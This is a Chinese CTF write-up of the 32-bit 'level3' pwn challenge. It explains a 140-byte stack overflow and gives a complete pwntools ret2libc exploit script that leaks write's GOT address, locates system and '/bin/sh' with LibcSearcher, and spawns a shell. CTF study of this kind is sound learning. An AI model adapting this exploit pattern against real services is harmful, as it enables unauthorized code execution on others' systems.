0x-1
忘了是哪里的题目了,好像是jarvisoj的,整理wp的时候当练习ret2libc了
0x00 常规文件检查
是一个32位的开启了堆栈不可执行的ELF文件。
0x10 ida打开分析文件
在左侧的function处并没有发现system函数,但是有一个vulnerable_function,
打开main函数,f5反汇编后可以看到如下图所示的内容,即调用了vulnerable函数
打开vul函数可以发现它使用write函数先输出了一句话,于是我们可以尝试通过泄漏write函数的真实地址然后通过LibcSearcher查找对应的libc,从而dump出libc里面的system函数与bin/sh地址
从上图可以发现buf的长度为0x88h,然后我们还需要覆盖它的返回地址(r所指向的地方),这样之后就能到达我们设定的返回地址了,故我们所需要填入的垃圾数据长度为0x88+4=140
0x20exp
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = "debug"
sh = process('./level3')
#以上为常规的操作,引入pwntools和LibcSearcher,然后设置日志等级为debug,这样会打印出终端获得的所有信息
le3 = ELF('./level3')
write_plt = le3.plt['write']
write_got = le3.got['write']
#引入ELF文件,这样可以方便的查找一些函数在plt,got的地址,就比如上边的write函数
vul_addr = 0x0804844B
#vul函数,是我们第发送第一次payload之后要返回的地方
sh.recv()
#接收文件输出的内容
payload = 'a'*140+p32(write_plt)+p32(vul_addr)+p32(1)+p32(write_got)+p32(4)
#0x88+4即将栈空间与返回地址覆盖 writeplt就是新设置的返回地址 vul是write后的返回地址 p32(1)是文件描述符,1为正常 got为write的参数,即要打印的内容 p32(4)是要打印的长度
sh.sendline(payload)
write_addr = u32(sh.recv()[:4])
#32位情况下,低四位不变化,接收,然后查找
libc = LibcSearcher('write',write_addr)
#查找对应的libc
libcbase = write_addr - libc.dump('write')
#根据base = 泄露的地址 函数在libc里面的偏移
system_addr = libcbase + libc.dump('system')
bin_addr = libcbase + libc.dump('str_bin_sh')
#通过libcbase与libcdump获取system与bin的真实地址。
print "get"
payload = flat(['a'*140,system_addr,0xdeadbeef,bin_addr])
#flat,可以理解成是格式化的意思,这样写省去了p32
sh.sendline(payload)
sh.interactive()
sh.close()
对于第一个payload中的write_plt,因为返回地址是需要是一段指令,而plt里面就是指令,got表中是地址,所以我们需要使用plt里面的内容。
版权声明:本文为qq_30204577原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。